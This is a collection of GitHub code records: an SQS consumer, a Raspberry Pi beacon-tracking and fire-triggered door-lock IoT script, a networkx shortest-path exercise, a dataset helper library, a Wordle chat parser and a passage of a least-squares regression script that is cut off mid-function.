+{"seq_id":"25929013854","text":"import boto3\n\ndef consume_queue():\n    sqs_client = boto3.client('sqs', region_name='us-east-2')\n    response = sqs_client.receive_message(\n        QueueUrl=\"https://sqs.us-east-2.amazonaws.com/248735089137/QueueTest\",\n        MaxNumberOfMessages=10,\n        WaitTimeSeconds=10\n    )\n    \n    for message in response.get('Messages', []):\n        body = message.get('Body', 'No body')\n        print(\"Mensagem recebida: \"+body)\n\nif __name__ == '__main__':\n\n    response = consume_queue()","repo_name":"anabferraz/servi-os-cloud","sub_path":"receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4055636536","text":"\"\"\"\ng49pi(Mark) - For Goup Project\nCoded by Mark Lee\n\"\"\"\n\n#!/usr/bin/env python3\n\n# Send beacons detected periodically to AWS IoT.  Based on bluez library.\n# Must be run with \"sudo python3\"\n\nimport time\nimport datetime\nimport ssl\nimport json\nimport paho.mqtt.client as mqtt\nimport bluetooth.ble as ble\n# For grovepi\nimport grovepi\n#Grove I2C color LCD\nfrom grove_rgb_lcd import *\n\n\n# TODO: Change this to the name of our Raspberry Pi, also known as our \"Thing Name\"\ndeviceName = \"g49pi\"\n\n# Public certificate of our Raspberry Pi, as provided by AWS IoT.\ndeviceCertificate = \"tp-iot-certificate.pem.crt\"\n# Private key of our Raspberry Pi, as provided by AWS IoT.\ndevicePrivateKey = \"tp-iot-private.pem.key\"\n# Root certificate to authenticate AWS IoT when we connect to their server.\nawsCert = \"aws-iot-rootCA.crt\"\nisConnected = False\n\n#GrovePi Connections\n# Grove LED to digital port D4 - Debug\nled = 4\n# Grove Flame Sensor to port D2\nflame = 2\n# Connect the Grove Relay to digital port D3\n# SIG,NC,VCC,GND\nrelay = 3\n\n# This is the main logic of the program.  We connect to AWS IoT via MQTT, send sensor data periodically to AWS IoT,\n# and handle any actuation commands received from AWS IoT.\ndef main():\n    global isConnected\n    # Create an MQTT client for connecting to AWS IoT via MQTT.\n    client = mqtt.Client(deviceName + \"_sr\")  # Client ID must be unique because AWS will disconnect any duplicates.\n    client.on_connect = on_connect  # When connected, call on_connect.\n    client.on_message = on_message  # When message received, call on_message.\n    client.on_log = on_log  # When logging debug messages, call on_log.\n\n    # Set the certificates and private key for connecting to AWS IoT.  TLS 1.2 is mandatory for AWS IoT and is supported\n    # only in Python 3.4 and later, compiled with OpenSSL 1.0.1 and later.\n    client.tls_set(awsCert, deviceCertificate, devicePrivateKey, ssl.CERT_REQUIRED, ssl.PROTOCOL_TLSv1_2)\n\n    # Connect to AWS IoT server.  Use AWS command line \"aws iot describe-endpoint\" to get the address.\n    print(\"Connecting to AWS IoT...\")\n    client.connect(\"A1P01IYM2DOZA0.iot.us-west-2.amazonaws.com\", 8883, 60)\n\n    # Start a background thread to process the MQTT network commands concurrently, including auto-reconnection.\n    client.loop_start()\n\n    # Create the beacon service for scanning beacons.\n    beacon_service = ble.BeaconService()\n\n    # Configure the Grove LED, Flame, Relay port for output.\n    grovepi.pinMode(led, \"OUTPUT\")\n    grovepi.pinMode(relay,\"OUTPUT\")\n    grovepi.pinMode(flame, \"INPUT\")\n    #Supply Power to relay. Door Lock ON\n    #grovepi.digitalWrite(led, 1)\n    time.sleep(1)\n\n    #FireMessage\n    fireMesssage = \"no\"\n    #To track students in area\n    studentIDsInArea = \"\"\n    #Location\n    location = \"Lab88\"\n    \n    # Loop forever.\n    while True:\n        try:\n            \"\"\"\n            #Test flame sensor using LED\n            print (grovepi.digitalRead(flame))\n            if (isFireDected()):\n                grovepi.digitalWrite(led, 1)\n            else:\n                grovepi.digitalWrite(led, 0)\n            \"\"\"\n            #Check for Fire in location\n            fireMesssage = isFireDected()\n                        \n            # If we are not connected yet to AWS IoT, wait 1 second and try again.\n            if not isConnected:\n                time.sleep(1)\n                continue\n\n            # Scan for beacons and add to the sensor data payload.\n            beaconsDict = {} #For Payload\n            beaconsArray = []\n            beacons_detected = beacon_service.scan(2)\n            for beacon_address, beacon_info in list(beacons_detected.items()):\n                # For each beacon found, add to the payload. Need to flip the bytes.\n                beacon = {\n                    \"uuid\": beacon_info[0].replace('-', ''),\n                    \"major\": (beacon_info[1] % 256) * 256 + beacon_info[1] // 256,\n                    \"minor\": (beacon_info[2] % 256) * 256 + beacon_info[2] // 256,\n                    \"power\": beacon_info[3],\n                    \"rssi\": beacon_info[4],\n                    \"address\": beacon_address\n                }\n                uuid_temp =  beacon_info[0].replace('-', '')\n                address_temp = beacon_address\n                major_temp = (beacon_info[1] % 256) * 256 + beacon_info[1] // 256\n                minor_temp = (beacon_info[2] % 256) * 256 + beacon_info[2] // 256\n                #Add each beacon to the Dictionary\n                beaconsArray.append(beacon)\n                #StudentID will be configured as beacon MinorID for indentification\n                studentIDsInArea = studentIDsInArea + str(minor_temp) + \",\"\n\n            #Format String for output\n            studentIDsInArea = studentIDsInArea[:-1]\n\n            # Prepare our sensor data in JSON format.\n            # Send reported state to g49pi\n            payload = {\n                \"state\": {\n                    \"reported\": {\n                        \"beacons\": beaconsArray,\n                        \"location\": location,\n                        \"fire\": fireMesssage,\n                        \"studentIDsInArea\": studentIDsInArea,\n                        \"timestamp\": datetime.datetime.now().isoformat()\n                    }\n                }\n            }\n\n            print(\"Sending sensor data to AWS IoT...\\n\" +\n                  json.dumps(payload, indent=4, separators=(',', ': ')))\n\n            # Publish our sensor data to AWS IoT via the MQTT topic, also known as updating our \"Thing Shadow\".\n            client.publish(\"$aws/things/\" + deviceName + \"/shadow/update\", json.dumps(payload))\n            print(\"Sent to AWS IoT\")\n\n            #Reset studentIDsInArea\n            studentIDsInArea = \"\"\n\n            # Wait 15 seconds before sending the next set of sensor data. i.e. Beacons detected\n            time.sleep(15)\n\n        except KeyboardInterrupt:\n            # Stop the program when we press Ctrl-C.\n            grovepi.digitalWrite(relay,1)#lock door, resume power to relay \n            grovepi.digitalWrite(led, 1)#LED ON - Simulate Door LED\n            break\n        except Exception as e:\n            # For all other errors, we wait a while and resume.\n            print(\"Exception: \" + str(e))\n            time.sleep(10)\n            continue\n\n# Method to detected presence of Fire in location\ndef isFireDected():\n    #GrovePi output 1 means no fire.\n    if (grovepi.digitalRead(flame)):\n        grovepi.digitalWrite(led, 0)\n        return \"no\"\n        #return False\n    #Fire detected, set fire message\n    else:\n        grovepi.digitalWrite(led, 1)\n        return \"yes\"\n        #return True\n\n# This is called when we are connected to AWS IoT via MQTT.\n# We subscribe for notifications of desired state updates.\ndef on_connect(client, userdata, flags, rc):\n    global isConnected\n    isConnected = True\n    print(\"Connected to AWS IoT\")\n    # Subscribe to our MQTT topic so that we will receive notifications of updates.\n    topic = \"$aws/things/\" + deviceName + \"/shadow/update/accepted\"\n    print(\"Subscribing to MQTT topic \" + topic)\n    client.subscribe(topic)\n    #Lambda Function: g49_ActuateDoor will update G49Trace desired state.\n    topicG49Trace = \"$aws/things/g49Trace/shadow/update/accepted\"\n    print(\"Subscribing to MQTT topic \" + topicG49Trace )\n    client.subscribe(topicG49Trace)\n\n\n# This is called when we receive a subscription notification from AWS IoT.\ndef on_message(client, userdata, msg):\n   \n    # Convert the JSON payload to a Python dictionary.\n    # The payload is in binary format so we need to decode as UTF-8.\n    payload2 = json.loads(msg.payload.decode(\"utf-8\"))\n    print(\"Received message, topic: \" + msg.topic + \", payload:\\n\" +\n          json.dumps(payload2, indent=4, separators=(',', ': ')))\n\n    # If there is a desired state in this message, then we actuate,\n    # e.g. if we see \"lockStatus=unlock\", we unlock the Door.\n    if payload2.get(\"state\") is not None and payload2[\"state\"].get(\"desired\") is not None:\n        # Get the desired state and loop through all attributes inside.\n        desired_state = payload2[\"state\"][\"desired\"]\n        for attribute in desired_state:\n            if attribute == \"doorLocation\":\n                doorlocation = desired_state.get(attribute)\n                print(\"DOOR************\"+doorlocation)\n                print(\"No need to actutate this attribute\")\n                return # skip this attribute, for information only.\n            if attribute == \"lockStatus\":\n                # We handle the attribute and desired value by actuating.\n                value = desired_state.get(attribute)\n                #print(\"DOOR1************\" + doorlocation)\n                actuateDoor(client, attribute, value, \"Lab88\")  \n            #Internal Fire, Unlocks All Doors, Send users in Lab to Command Center\n            if attribute == \"studentIDsInArea\":\n                # We handle the attribute and desired value by actuating.\n                value = desired_state.get(attribute)\n                internalFireActuateDoorNLCD(client, attribute, value, \"Lab88\")\n            #External Fire, Unlocks All Lab Doors.\n            if attribute == \"fire\":\n                # We handle the attribute and desired value by actuating.\n                value = desired_state.get(attribute)\n                externalFireActuateDoorNLCD(client, attribute, value, \"Lab88\")\n\n# Control my actuators based on the specified attribute and value,\n# \"fire=yes\", we unlock the Door.\ndef externalFireActuateDoorNLCD(client, attribute, value, doorLocation):        \n    #To track students in area\n    studentIDsInArea1 = \"\"\n    # Create the beacon service for scanning beacons.\n    beacon_service1 = ble.BeaconService()\n    #From Lambda Function: g49_ActuateDoor will update G49Trace desired state. \n    if attribute == \"fire\":\n        if value == \"yes\" :\n             # Unlock Door.\n            print(\"EXTERNAL FIRE***********************\")\n           \n            # Scan for beacons and add to the sensor data payload.\n            beaconsDict = {} #For Payload\n            beaconsArray = []\n            beacons_detected = beacon_service1.scan(2)\n            for beacon_address, beacon_info in list(beacons_detected.items()):\n                # For each beacon found, add to the payload. Need to flip the bytes.\n                beacon = {\n                    \"uuid\": beacon_info[0].replace('-', ''),\n                    \"major\": (beacon_info[1] % 256) * 256 + beacon_info[1] // 256,\n                    \"minor\": (beacon_info[2] % 256) * 256 + beacon_info[2] // 256,\n                    \"power\": beacon_info[3],\n                    \"rssi\": beacon_info[4],\n                    \"address\": beacon_address\n                }\n                uuid_temp =  beacon_info[0].replace('-', '')\n                address_temp = beacon_address\n                major_temp = (beacon_info[1] % 256) * 256 + beacon_info[1] // 256\n                minor_temp = (beacon_info[2] % 256) * 256 + beacon_info[2] // 256\n                #Add each beacon to the Dictionary\n                beaconsArray.append(beacon)\n                #StudentID will be configured as beacon MinorID for indentification\n                studentIDsInArea1 = studentIDsInArea1 + str(minor_temp) + \",\"\n\n            #Format String for output\n            studentIDsInArea1 = studentIDsInArea1[:-1]\n            \n            #Actuate LCD - Command Center\n            AlertText = \"Assist@:\"+doorLocation+\" StuIDs:\"+studentIDsInArea1 \n            #AlertText = \"External Fire!\\nAll Doors Unlock!\"\n            setText(AlertText)\n            setRGB(0,128,64)\n            for c in range(0,255):\n                setRGB(c,255-c,0)\n                time.sleep(0.01)\n            setRGB(0,255,0)\n            setRGB(0,0,0)\n\n            #Update G49Trace\n            grovepi.digitalWrite(relay,0) #open door, cut power to relay\n           # grovepi.digitalWrite(led, 0) #LED OFF - Simulate Door LED\n            time.sleep(10) #Door left open number of seconds\n            grovepi.digitalWrite(relay,1) #lock door, resume power to relay \n           # grovepi.digitalWrite(led, 1)#LED ON - Simulate Door LED\n\n           #Clear LCD\n            setText(\"\")\n            \n           #Update G49Trace\n            send_reported_state(client, attribute, value, doorLocation)\n            return   \n        elif value == \"no\":\n            # Lock Door\n            grovepi.digitalWrite(relay,1)#lock door, resume power to relay \n           # grovepi.digitalWrite(led, 1)#LED ON - Simulate Door LED\n            send_reported_state(client, attribute, value, doorLocation)\n            return\n    # Show an error if attribute or value are incorrect.\n    print(\"Error: Don't know how to set \" + attribute + \" to \" + value)\n\n\n# Control my actuators based on the specified attribute and value,\n# \"fireStudentIDsInArea= xxx \", we send details to Command Center LCD.\ndef internalFireActuateDoorNLCD(client, attribute, value, doorLocation):\n    if attribute == \"timestamp\":\n        # Ignore the timestamp attribute, it's only for info.\n        return\n    print(\"Setting \" + attribute + \" to \" + value + \"...\")\n\n    if attribute == \"studentIDsInArea\":\n            print(\"INTERNAL FIRE***********************\")\n            print(\"COMMAND CENTER LCD******************************\")\n            #Actuate LCD - Command Center\n            AlertText = \"Fire:\"+doorLocation+\" StuIDs:\"+value \n            #AlertText = \"Fire!\"+doorLocation+\"StudentIDs\\n:\"+value \n            setText(AlertText)\n            setRGB(0,128,64)\n            for c in range(0,255):\n                setRGB(c,255-c,0)\n                time.sleep(0.01)\n            setRGB(0,255,0)\n            #setText(\"\")\n            setRGB(0,0,0)\n\n            # Unlock Door.\n            grovepi.digitalWrite(relay,0) #open door, cut power to relay\n           # grovepi.digitalWrite(led, 0) #LED OFF - Simulate Door LED\n            time.sleep(10) #Door left open number of seconds\n            grovepi.digitalWrite(relay,1) #lock door, resume power to relay \n\n            #Clear LCD\n            setText(\"\")\n            \n            #Update G49Trace\n            send_reported_state(client, attribute, value, doorLocation)\n            return   \n# Show an error if attribute or value are incorrect.\n    print(\"Error: Don't know how to set \" + attribute + \" to \" + value)\n\n# Control my actuators based on the specified attribute and value,\n# \"lockStatus=unlock\", we unlock the Door.\ndef actuateDoor(client, attribute, value, doorLocation):        \n    #From Lambda Function: g49_ActuateDoor will update G49Trace desired state. \n    if attribute == \"lockStatus\":\n        if value == \"unlock\" :\n             # Unlock Door.\n            print(\"Authorised User\")\n            #Actuate LCD Feedback\n            AlertText = \"Unlock Door:\"+doorLocation+\" StuID:\"+value  \n            setText(AlertText)\n            setRGB(0,128,64)\n            for c in range(0,255):\n                setRGB(c,255-c,0)\n                time.sleep(0.01)\n            setRGB(0,255,0)\n            #setText(\"\")\n            setRGB(0,0,0)\n            #Update G49Trace\n            grovepi.digitalWrite(relay,0) #open door, cut power to relay\n           # grovepi.digitalWrite(led, 0) #LED OFF - Simulate Door LED\n            time.sleep(10) #Door left open number of seconds\n            grovepi.digitalWrite(relay,1) #lock door, resume power to relay \n           # grovepi.digitalWrite(led, 1)#LED ON - Simulate Door LED\n\n           #Clear LCD\n            setText(\"\")\n            \n           #Update G49Trace\n            send_reported_state(client, attribute, value, doorLocation)\n            return   \n        elif value == \"lock\":\n            # Lock Door\n            grovepi.digitalWrite(relay,1)#lock door, resume power to relay \n           # grovepi.digitalWrite(led, 1)#LED ON - Simulate Door LED\n            send_reported_state(client, attribute, value, doorLocation)\n            return\n    # Show an error if attribute or value are incorrect.\n    print(\"Error: Don't know how to set \" + attribute + \" to \" + value)\n\n# Send the reported state of our actuator to AWS IoT (G49Trace) after it has been triggered, e.g. \"lockStatus=unlock\"\ndef send_reported_state(client, attribute, value, doorLocation):\n    # Prepare our sensor data in JSON format.\n    payload = {\n        \"state\": {\n            \"reported\": {\n                \"doorLocation\": doorLocation,\n                attribute: value,\n                \"timestamp\": datetime.datetime.now().isoformat()\n            }\n        }\n    }\n    print(\"Sending sensor data to AWS IoT...\\n\" +\n          json.dumps(payload, indent=4, separators=(',', ': ')))\n\n    # Publish our sensor data to AWS IoT via the MQTT topic, also known as updating our \"Thing Shadow\".\n    # Update G49Trace\n    client.publish(\"$aws/things/g49Trace/shadow/update\", json.dumps(payload))\n    print(\"Sent to AWS IoT\")\n\n\n# Print out log messages for tracing.\ndef on_log(client, userdata, level, buf):\n    print(\"Log: \" + buf)\n\n\n# Start the main program.\nmain()\n","repo_name":"itemarklee/CIO1C04_IOT_PROJECT","sub_path":"G49send_beacon_data.py","file_name":"G49send_beacon_data.py","file_ext":"py","file_size_in_byte":16965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26627039268","text":"import networkx as nx\nimport numpy\ng=nx.read_edgelist(\"facebook_combined.txt.gz\")\n\n\nn=list(g.nodes())\nspll=[]\nfor u in n:\n    for v in n:\n        if u!=v:\n            l=nx.shortest_path_length(g,u,v)\n            print(\"The shortest length between\",u,\"and\",v,\"is: \",l)\n            spll.append(l)\nmin_spll=min(spll)\nmax_spll=max(spll)\navg_spll=numpy.average(spll)\nprint(\"The minimum shortest path: \",min_spll)\nprint(\"The maximum shortest path: \",max_spll)\nprint(\"The average shortest path: \",avg_spll)","repo_name":"Yashaswini2004/NPTEL_JOY-OF-COMPUTING-WITH-PYTHON","sub_path":"six_degree_separation.py","file_name":"six_degree_separation.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23669900655","text":"from abc import ABC, abstractmethod \nimport os\nimport random\nimport math\nimport pandas as pd\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom .Helpers import get_col_dist\nfrom .FileManipulation import GetFromFile, get_dataframe_from_arff\n\nclass Dataset(ABC):\n\n    @property\n    @abstractmethod\n    def Instances(self):\n        pass\n\n    @property\n    @abstractmethod\n    def Attributes(self):\n        pass\n\n    @property\n    @abstractmethod\n    def Class(self):\n        pass\n\n    @property\n    def AttributesInformation(self):\n        return list(\n            map(lambda attr: FeatureInformation(self, attr), self.Attributes))\n\n    @property\n    def ClassInformation(self):\n        return FeatureInformation(self, self.Class)\n\n    def GetAttribute(self, attribute):\n        return list(filter(lambda attr: attr[0] == attribute, self.Model))[0]\n\n    def GetAttributeNames(self):\n        return list(\n            map(lambda attribute: attribute[0], self.Model))\n    \n    def GetNominalValues(self, feature):\n        attribute = list(\n            filter(lambda attr: attr[0].lower() == feature.lower(), self.Model))\n\n        if isinstance(attribute[0][1], list):\n            return attribute[0][1]\n        else:\n            return None\n\n    def GetValueOfIndex(self, feature, index):\n        values = self.GetNominalValues(feature)\n        if not values:\n            return float('nan')\n        else:\n            return values[index]\n\n    def GetIndexOfValue(self, feature, value):\n        values = self.GetNominalValues(feature)\n        if not values:\n            return -1\n        else:\n            try:\n                return_val = values.index(value)\n                return return_val\n            except ValueError:\n                return float('nan')\n\n    def GetClasses(self):\n        return self.GetNominalValues('class')\n\n    def GetClassIdx(self):\n        return self.GetFeatureIdx(self.Class)\n\n    def GetFeatureIdx(self, feature):\n        return self.Model.index(feature)\n    \n    def IsNominalFeature(self, feature):\n        if isinstance(feature[1], str) and feature[1].lower() == 'string':\n            raise Exception(\"String attributes are not supported!\")\n        return isinstance(feature[1], list)\n\n    def GetFeatureValue(self, feature, instance):\n        if isinstance(feature[1], list):\n            return self.GetIndexOfValue(feature[0], instance[self.GetFeatureIdx(feature)])\n        elif feature[1].lower() in ['numeric', 'real', 'integer']:\n            return instance[self.GetFeatureIdx(feature)]\n        else:\n            raise Exception(\n                \"Attribute must be either nominal, numeric, real or integer\")\n    \n    def GetClassValue(self, y_instance):\n        return self.GetIndexOfValue(self.Class[0], y_instance[0])\n\n    def IsMissing(self, feature, instance):\n        value = self.GetFeatureValue(feature, instance)        \n        return math.isnan(value)\n\nclass PandasDataset(Dataset):\n    def __init__(self, X,y):\n        super()\n        self.Model = self.get_model_list(X,y)\n        self.__Instances = self.combine_X_y(X,y)\n    \n    @property\n    def Instances(self):\n        return self.__Instances\n    \n    @property\n    def Attributes(self):\n        return list(\n            filter(lambda attr: attr[0].strip().lower() != 'class', self.Model))\n\n    @property\n    def Class(self):\n        return list(\n            filter(lambda attr: attr[0].strip().lower() == 'class', self.Model))[0]\n    \n    @Instances.setter\n    def Instances(self, new_instances):\n        self.__Instances = new_instances\n\n    def get_feature_info(self, feature):\n        if self.get_feature_col_type(feature) == 'Nominal':\n            return get_col_dist(feature)\n        else:\n            return self.get_feature_col_type(feature)\n    def get_feature_col_type(self, feature):\n        if all(isinstance(elem, np.int32) or isinstance(elem, np.int64) or isinstance(elem, int) for elem in feature):\n            return 'integer'\n        if all (isinstance(elem, np.float32) or isinstance(elem, np.float64) or isinstance(elem, float) for elem in feature):\n            return 'real'\n        else:\n            return 'Nominal'\n\n    def get_model_list(self, X, y):\n        if 'class' in X.columns.values.tolist():\n            raise Exception('No attribute can have the name class')\n\n        result = [(feat_name, self.get_feature_info(X[f'{feat_name}'])) for feat_name in X]\n        y = y.rename(columns = {y.columns.values.tolist()[0]: 'class'})\n        y = pd.DataFrame(y)  \n        class_res = [(feat_name, self.get_feature_info(y[f'{feat_name}'])) for feat_name in y]\n        result.append(class_res[0])\n        return result\n    \n    def combine_X_y(self, X, y):\n        y = y.rename(columns = {y.columns.values.tolist()[0]: 'class'})\n        y = pd.DataFrame(y)\n        instances_df = X.copy(deep=True)\n        instances_df[f'class'] = y['class']\n        return instances_df.values\n            \n\nclass FileDataset(Dataset):\n    def __init__(self, file):\n        super()\n        arffFile = GetFromFile(file)\n\n        attributes = arffFile['attributes']\n        if not list(filter(lambda attr: attr[0].strip().lower() == 'class', attributes)):\n            raise Exception(\n                f\"This dataset does not contain an explicit class attribute!\")\n\n        self.Relation = arffFile['relation']\n\n        self.Model = arffFile['attributes']\n\n        self.__Instances = get_dataframe_from_arff(arffFile).values\n        self.Features = None\n    \n    @property\n    def Instances(self):\n        return self.__Instances\n    \n    @property\n    def Attributes(self):\n        return list(\n            filter(lambda attr: attr[0].strip().lower() != 'class', self.Model))\n\n    @property\n    def Class(self):\n        return list(\n            filter(lambda attr: attr[0].strip().lower() == 'class', self.Model))[0]\n    \n    @Instances.setter\n    def Instances(self, new_instances):\n        self.__Instances = new_instances\n\n    def ScalarProjection(self, instance, features, weights):\n\n        if len(list(filter(lambda feature: self.IsMissing(feature, instance), features))) > 0:\n            return math.nan\n\n        result = sum([weights[feature] * self.GetFeatureValue(feature, instance)\n                      for feature in features])\n\n        return result\n\nclass FeatureInformation(object):\n    def __init__(self, dataset, feature):\n        self.__Dataset = dataset\n        self.__Feature = feature\n        self.__MinValue = 0\n        self.__MaxValue = 0\n        self.__Distribution = []\n        self.__ValueProbability = []\n        self.__Ratio = []\n\n        self.Initialize()\n    \n    @property\n    def Dataset(self):\n        return self.__Dataset\n    @Dataset.setter\n    def Dataset(self, new_dataset):\n        self.__Dataset = new_dataset\n\n    @property\n    def Feature(self):\n        return self.__Feature\n\n    @property\n    def Distribution(self):\n        return self.__Distribution\n    @Distribution.setter\n    def Distribution(self, new_distribution):\n        self.__Distribution = new_distribution\n\n    def Initialize(self):\n\n        featureIdx = self.Dataset.GetFeatureIdx(self.Feature)\n\n        nonMissingValues = list(filter(lambda instance: not self.Dataset.IsMissing(\n            self.Feature, instance), self.Dataset.Instances))\n        \n        self.MissingValueCount = len(\n            self.Dataset.Instances) - len(nonMissingValues)\n\n        if self.Dataset.IsNominalFeature(self.Feature):\n\n            self.Distribution = [0]*len(self.Feature[1])\n            for value in range(len(self.Distribution)):\n                self.Distribution[value] = len(\n                    list(filter(lambda instance: self.Dataset.GetFeatureValue(self.Feature, instance) == value and not self.Dataset.IsMissing(self.Feature, instance), self.Dataset.Instances)))\n        else:\n            if len(nonMissingValues) > 0:\n                self.MinValue = min(list(map(\n                    lambda instance: instance[featureIdx], nonMissingValues)))\n                self.MaxValue = max(list(map(\n                    lambda instance: instance[featureIdx], nonMissingValues)))\n            else:\n                self.MinValue = 0\n                self.MaxValue = 0","repo_name":"octavioloyola/PBC4cip","sub_path":"PBC4cip/core/Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":8169,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"44259916476","text":"\nimport json\n  \n# Opening JSON file\nf = open('/Users/yurasidorov/Repos/scripts/python/result.json')\n  \n# returns JSON object as \n# a dictionary\nrawData = json.load(f)\n  \n# Iterating through the json\n# list\n\ndata = {}\nfor i in rawData['messages']:\n    if i['type'] != \"message\":\n        continue\n\n    user = i['from_id']\n    if user not in data:\n        data[user] = [0, 0, i['from'], 0, 0]\n\n    if not i['text_entities']:\n        continue\n\n    string = i['text_entities'][0]['text']\n    words = string.split()\n\n    resultInStr = str(words[2] if len(words) > 2 else '')\n    if words[0] != \"Wordle\" or not (resultInStr[0].isdigit() or words[2][0] == 'X'):\n        continue\n    \n    tries = int(words[2][0]) if words[2][0] != 'X' else 7\n    data[user][3] = data[user][3] + 1\n    data[user][4] = data[user][4] + tries\n    \n    if words[2][0] != 'X':\n        data[user][0] = data[user][0] + 1\n        data[user][1] = data[user][1] + tries\n\nprint(\"Without lost as 7 tries:\")\nfor item in data.items():\n    user = item[1]\n    res = user[1]/user[0]\n    print(f'{user[2]:10} ==> median: {res:.4f} ==> solved: {user[0]}')\n\nprint(\"\\nWith lost as 7 tries:\")\nfor item in data.items():\n    user = item[1]\n    res = user[4]/user[3]\n    print(f'{user[2]:10} ==> median: {res:.4f} ==> solved: {user[3]}')\n  \n# Closing file\nf.close()","repo_name":"yuvSid/scripts","sub_path":"python/parseChatWordle.py","file_name":"parseChatWordle.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"28042562904","text":"import numpy as np\r\nimport random\r\nimport matplotlib.pyplot\r\n\r\n\r\ndef main():\r\n    n_train_data = 20\r\n    n_test_data = 1000\r\n    mean = 0\r\n    sigma = np.sqrt(0.1)\r\n    theta_given = np.array([[0.2], [-1], [0.9], [0.7], [-0.2]])\r\n\r\n    print(\"\\ntheta real is : \"+str(theta_given.transpose()))\r\n\r\n    # Equidistance at (0,2) space\r\n    x_trainData = np.linspace(0, 2, n_train_data).reshape((n_train_data, 1))\r\n\r\n    # Calculate the y data with the given theta\r\n    y_trainData = calculate_y(n_train_data, 1, x_trainData, theta_given)\r\n\r\n    # Add the noise\r\n    # y_trainData_noisy = np.zeros((n_trainData, 1))\r\n    # for i in range(n_trainData):\r\n    #     y_trainData_noisy[i, 0] = y_trainData[i, 0] + random.gauss(mean, sigma)\r\n    \r\n    y_trainData_noisy = add_noise(y_trainData,mean,sigma)\r\n\r\n\r\n    #Calculate phi Array  in order to be able to use different methods for the\r\n    # calculation of theta \r\n    phi = construct_phi(n_train_data, x_trainData)\r\n\r\n    #Calculate theta with the Least Square Method\r\n    theta_predicted = calculate_theta_least_squared_method(phi, y_trainData_noisy)\r\n    \r\n    print(\"theta predicted is : \" + str(theta_predicted.transpose())) \r\n\r\n    # Calculate the y with the new theta\r\n    y_predicted = calculate_y(n_train_data, 1, x_trainData, theta_predicted)\r\n\r\n\r\n    # y_predicted_noisy = add_noise(y_predicted,mean,sigma)\r\n\r\n    mse_train_data = calculate_mse(y_trainData_noisy, y_predicted)\r\n\r\n    print(\"MSE of trained data is = \" + str(mse_train_data))\r\n\r\n    # Starting the processing of Test Data\r\n    x_test_data = np.zeros((n_test_data, 1))\r\n    # Make the test data\r\n    for i in range(n_test_data):\r\n        x_test_data[i, 0] = np.random.uniform(0, 2)\r\n\r\n    # Sort the Test Data\r\n    x_test_data = np.sort(x_test_data.transpose()[0])\r\n\r\n    # Transpose again to get them right\r\n    x_test_data = np.array([x_test_data]).transpose()\r\n\r\n\r\n    y_test_data = calculate_y(n_test_data, 1, x_test_data, theta_given)\r\n\r\n    y_test_data_noisy = add_noise(y_test_data,mean,sigma)\r\n\r\n    y_predicted_test = calculate_y(n_test_data, 1, x_test_data, theta_predicted)\r\n\r\n    # y_predicted_test_noisy = add_noise(y_predicted_test,mean,sigma)\r\n\r\n    mse_test_data = calculate_mse(y_predicted_test, y_test_data_noisy)\r\n\r\n    print(\"The MSE of test data is:  \" + str(mse_test_data))\r\n\r\n\r\n\r\n    # TODO: Ta MSE sou filippe nomizo vgainan lathos\r\n    # Giati arxika to test_data sou eixe mikrotero MSE apo to trained Data sou pou den vgazei poli noima\r\n    # TODO: auto edo den douleuei poli kala pleon \r\n    # TODO: Mporoume na doume ligo to diagramma akoma\r\n    y_test_data_error = np.zeros((n_test_data, 1))\r\n    for i in range(n_test_data):\r\n        y_test_data_error[i, 0] = mse_test_data\r\n\r\n    create_graph(x_test_data, y_test_data, y_test_data_noisy, y_predicted_test, y_test_data_error)\r\n\r\n\r\ndef create_graph(x, y, y_noisy, y_pred, y_error):\r\n    fig, p = matplotlib.pyplot.subplots()\r\n    fig.suptitle('Comparison of the curves : N = 1000')\r\n    p.plot(x, y, 'C2-', label='y')\r\n    p.plot(x, y_noisy, 'C9x', label='y_noisy', markersize=1)\r\n    p.errorbar(x, y_pred, np.concatenate(y_error), label='y_prediction', ls='--', c='orange')\r\n    legend = p.legend(loc='best', shadow=False, fontsize='medium')\r\n    legend.get_frame().set_facecolor('1')\r\n    p.set_xlabel('x')\r\n    p.set_ylabel('y')\r\n    matplotlib.pyplot.show()\r\n\r\n\r\ndef calculate_mse(y, y_new):\r\n    if np.not_equal(np.size(y),np.size(y_new)):\r\n        print(\"The calculation of MSE has error \")\r\n    mse = 0\r\n    for i in range(np.size(y)):\r\n        mse += (y_new[i, 0] - y[i, 0]) ** 2 \r\n    mse = mse/np.size(y)\r\n    print(\"to size tou y sto MSE einai: \" + str(np.size(y)))\r\n    return mse\r\n\r\n\r\ndef  add_noise(y,mean,sigma):\r\n    y_noise = y\r\n    for i in range(np.size(y)):\r\n        #y_noise[i,0] = y_noise[i,0] + np.random.normal(mean,sigma,1)\r\n        y_noise[i,0] = y_noise[i,0] + random.gauss(mean,sigma)\r\n    return y_noise\r\n    \r\n\r\ndef construct_phi(rows, x):\r\n    phi = np.ones((rows, 5))\r\n    phi[:, 1] = x.transpose()\r\n    phi[:, 2] = x.transpose() ** 2\r\n    phi[:, 3] = x.transpose() ** 3\r\n    phi[:, 4] = x.transpose() ** 5\r\n    return phi\r\n\r\n\r\ndef calculate_y(rows, columns, x, theta):\r\n    y = np.ones((rows, columns))\r\n    y[:, 0] = theta[0, 0] + \\\r\n              theta[1, 0] * x.transpose() + theta[2, 0] * x.transpose() ** 2 + \\\r\n              theta[3, 0] * x.transpose() ** 3 + theta[4, 0] * x.transpose() ** 5\r\n    return y\r\n\r\n\r\ndef calculate_theta_least_squared_method(phi, y):\r\n    # theta = (phi_transposed x phi)_inverted x phi_transposed x y\r\n    b = np.matmul(phi.transpose(), phi)\r\n    c = np.linalg.inv(b)\r\n    d = np.matmul(c, phi.transpose())\r\n    u = np.matmul(d, y)\r\n    return 